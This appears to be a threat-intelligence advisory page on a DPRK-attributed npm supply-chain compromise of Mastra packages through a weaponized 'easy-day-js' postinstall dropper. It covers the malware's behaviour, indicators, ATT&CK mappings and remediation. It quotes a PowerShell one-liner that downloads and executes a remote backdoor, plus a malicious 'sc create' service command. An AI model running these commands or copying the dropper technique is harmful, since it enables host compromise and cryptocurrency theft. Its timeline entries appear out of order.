Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise of 140+ Mastra npm Packages via Hijacked Maintainer Account

Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise (TL-2026-0898), also tracked as easy-day-js campaign, is a critical-severity supply-chain compromise, first published 2026-06-22. It is attributed to APT38 (North Korea) with high confidence, affects Mastra @mastra/* npm packages (AI framework), maps to 35 MITRE ATT&CK techniques (T1005, T1012, T1027), and is covered by 9 detection rules and 29 indicators of compromise.

Key facts for TL-2026-0898

Threat ID
TL-2026-0898
Also known as
easy-day-js campaign, Mastra npm scope takeover
Severity
CRITICAL
Status
ACTIVE
Category
SUPPLY_CHAIN
First published
2026-06-22
Last reviewed
2026-06-22
Attribution
APT38
Attribution confidence
HIGH
Nation-state nexus
North Korea
Motivation
FINANCIAL
Target sectors
technology, software development, cryptocurrency, blockchain, venture capital, financial
Target regions
North America, Asia, Middle East
Detection rules
9
Indicators of compromise
29

North Korean state actor Sapphire Sleet hijacked the dormant 'ehindero' maintainer account and, in an 88-minute automated campaign on 2026-06-17, republished 140+ packages across the @mastra AI-framework scope with a malicious 'easy-day-js' dependency. A postinstall dropper (setup.cjs) auto-executes on install, retrieving a cross-platform Node.js tasking client plus a PowerShell backdoor that steals cryptocurrency wallets and establishes registry/service/LaunchAgent/systemd persistence.

How Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise works

On 2026-06-17 Microsoft Threat Intelligence detected a software supply-chain compromise of the Mastra npm ecosystem (an open-source JavaScript/TypeScript framework for building AI applications, whose @mastra/core package alone has ~918K weekly downloads). The North Korean state actor Sapphire Sleet (also tracked as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, CryptoCore) gained control of the 'ehindero' npm account — a former/dormant Mastra contributor whose publish rights across the entire @mastra scope had never been revoked. The maintainer was compromised after a spoofed LinkedIn account contacted him (and maintainers of other prominent TypeScript projects), got him on a call, and induced him to click a malicious link.

The actor first published a clean decoy library 'easy-day-js@1.11.21' (a clone of the popular dayjs date library, ~57M weekly downloads) at 2026-06-16 07:05 UTC, then weaponized it as 1.11.22 at 2026-06-17 01:01 UTC by adding an obfuscated setup.cjs postinstall dropper. Within an 88-minute window beginning ~01:20 UTC the actor used the hijacked ehindero account to republish 140+ packages across the @mastra scope (including mastra@1.13.1 and later), each injected with 'easy-day-js@^1.11.21' as a new dependency that SemVer-resolved to the weaponized 1.11.22. The typosquat itself was published by a separate account 'sergey2016' (sergey2016@tutamail.com). The poisoned packages contained no malicious code themselves — the payload arrived entirely through the transitive easy-day-js dependency, executing at install time regardless of whether the package was ever imported.

The 4,572-byte setup.cjs dropper is obfuscated with an array of 40 Base64-encoded strings shuffled at init with seed 0x4c11d and decoded with character substitution. It sets NODE_TLS_REJECT_UNAUTHORIZED='0' to disable TLS certificate validation, drops tracking markers ($TMPDIR/.pkg_history with the install path, and $TMPDIR/.pkg_logs containing the XOR-0x80-encoded string 'easy-day-js'), then GETs hxxps://23.254.164[.]92:8000/update/49890878 and writes the ~41KB response as a random-hex .js file in the home directory. That second stage is a cross-platform Node.js tasking client that installs sign-in persistence, sends a 'Start' beacon, and enters a repeated 'Check' poll loop (10-second polling, 180-second backoff on failure) over a custom ICAP-style protocol (HTTPS POST with reqmod / PrimaryUrl / SecondaryUrl headers and a spoofed legacy IE8 User-Agent).

The implant fingerprints the host (hostname, architecture, platform, user ID, installed applications via Get-StartApps + registry Uninstall keys + Get-AppxPackage, running processes), harvests browser History SQLite databases (copied to temp dirs prefixed 'browser-hist_'), and steals cryptocurrency assets using a hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others). Persistence is established per-OS: Windows via an HKCU Run key (value NvmProtocal) launching hidden PowerShell that runs protocal.cjs from C:\ProgramData\NodePackages\; macOS via a RunAtLoad LaunchAgent ~/Library/NodePackages/com.nvm.protocal.plist; Linux via a systemd user unit ~/.config/systemd/nvmconf/nvmconf.service with a 5-second restart delay.

For high-value hosts, the Node.js implant's shell runner fetches a separate PowerShell backdoor from teams.onweblive[.]org via `powershell -w h -c "iwr -UseBasicParsing https://teams.onweblive[.]org/api/update/8555575039/4|iex"`. This backdoor clears PSReadLine history (anti-forensics), sends an 'info' beacon (targetId, username, hostname, timezone, bootTime, OS, version, arch, applist, extlist, admin, vaccine) to maskasd[.]com, writes a hidden loader C:\ProgramData\system.bat registered under HKCU Run value 'MicrosoftUpdate' (re-fetches the backdoor body on each logon by POSTing the keyword 'wwps'), receives a .NET DLL loaded directly into memory via reflection (resolving Extension.SubRoutine.Run2 with cmd.exe and a C2 callback), adds a Microsoft Defender exclusion for C:\Windows\System32, and installs a malicious service: `sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev"` loading scdev.dll at boot. Mastra published via npm's trusted-publisher flow with SLSA provenance but did not require attestations, so a standard npm token still published the malicious versions. The operation mirrors Sapphire Sleet's April 2026 Axios npm compromise (maintainer social-engineering, decoy-then-weaponized typosquat dependency, install-time postinstall dropper with self-deletion).

MITRE ATT&CK techniques used in TL-2026-0898

Collection

T1005 Data from Local System

Discovery

T1012 Query Registry; T1033 System Owner/User Discovery; T1057 Process Discovery; T1082 System Information Discovery; T1217 Browser Information Discovery; T1518 Software Discovery

Defense Evasion

T1027 Obfuscated Files or Information; T1036.005 Match Legitimate Resource Name or Location; T1070.003 Clear Command History; T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information; T1564.001 Hidden Files and Directories; T1620 Reflective Code Loading

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059.001 PowerShell; T1059.003 Windows Command Shell; T1059.007 JavaScript

Command and Control

T1071.001 Web Protocols; T1105 Ingress Tool Transfer; T1571 Non-Standard Port

Initial Access

T1078 Valid Accounts; T1195.001 Compromise Software Dependencies and Development Tools; T1566.003 Spearphishing via Service

defense-impairment

T1112 Modify Registry; T1685 Disable or Modify Tools

Persistence

T1543.001 Launch Agent; T1543.002 Systemd Service; T1543.003 Windows Service; T1547.001 Registry Run Keys / Startup Folder

Credential Access

T1555.003 Credentials from Web Browsers

Resource Development

T1583 Acquire Infrastructure; T1586 Compromise Accounts; T1608.001 Upload Malware

Impact

T1657 Financial Theft

Affected products and versions in Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

  • Mastra — @mastra/* npm packages (AI framework)
    Vulnerable versions: mastra@1.13.1 and later (2026-06-17 publish wave); 140+ @mastra/* scope packages republished 2026-06-17
    Fixed in: pre-2026-06-17 versions; vendor clean re-releases
  • npm (transitive dependency) — easy-day-js
    Vulnerable versions: 1.11.22 (weaponized); 1.11.21 (clean decoy bait)

Remediation for Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

Patches

  • Remove/quarantine easy-day-js@1.11.21 and 1.11.22; upgrade Mastra packages to vendor-confirmed clean re-releases.

Immediate actions

  • Treat any workstation, CI runner, or build environment that installed mastra@1.13.1+ or @mastra/* on/after 2026-06-17 01:20 UTC, or easy-day-js@1.11.22, as compromised.
  • Rotate ALL credentials, npm tokens, cloud keys, and cryptocurrency wallet seeds/keys reachable from affected hosts.
  • Block C2 IPs 23.254.164.92 and 23.254.164.123 and domains teams.onweblive.org and maskasd.com at the perimeter.
  • Roll back to pre-compromise Mastra versions (before mastra@1.13.1) and remove easy-day-js from all dependency trees.

Workarounds

  • Install with npm install --ignore-scripts to suppress postinstall hook execution.
  • Pin Mastra dependencies to known-good versions in lockfiles and disable automatic latest-tag resolution.

Longer-term hardening

  • Require SLSA provenance attestations on installs and reject packages published with a bare npm token.
  • Deploy EDR with behavioral detection for postinstall script abuse, reflective .NET loading, and Defender-exclusion tampering.
  • Enforce npm install --ignore-scripts in CI and use lockfile pinning with integrity hashes.
  • Audit and revoke publish rights of dormant/former maintainers across all package scopes.

Weaknesses (CWE) in Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

CWE-506, CWE-1357, CWE-829, CWE-494

Timeline of Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

  • Sapphire Sleet (UNC1069) operational since at least March 2020, targeting cryptocurrency, venture capital and blockchain organizations for revenue generation.
  • Sapphire Sleet conducts a separate npm supply-chain compromise of the Axios HTTP client using the same decoy-then-weaponized typosquat-dependency playbook.
  • Clean decoy 'easy-day-js@1.11.21' (dayjs clone) published to npm at 07:05 UTC by account sergey2016.
  • Microsoft Threat Intelligence detects compromised mastra@1.13.1 at 01:28 UTC.
  • Hijacked 'ehindero' account begins republishing 140+ @mastra/* packages (incl. mastra@1.13.1) injected with easy-day-js dependency at ~01:20 UTC, completing in an 88-minute window.
  • Microsoft Threat Intelligence detects easy-day-js@1.11.22 at 01:07 UTC.
  • easy-day-js@1.11.22 published at 01:01 UTC with the obfuscated setup.cjs postinstall dropper.
  • Microsoft confirms attribution to North Korean state actor Sapphire Sleet based on infrastructure and post-compromise TTP overlap.
  • Microsoft Security Blog and press (BleepingComputer, Snyk) publicly disclose the campaign and DPRK attribution.
  • Full IOC set (C2 IPs/domains, 7 SHA-256 hashes, package/account indicators) published; defenders advised to treat affected dev/CI hosts as compromised.

Sources cited for Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

Threats related to Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise

Detection coverage for TL-2026-0898

As of 2026-06-22, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0898 across Splunk SPL, Microsoft KQL and Sigma, covering 29 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-0898

3 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats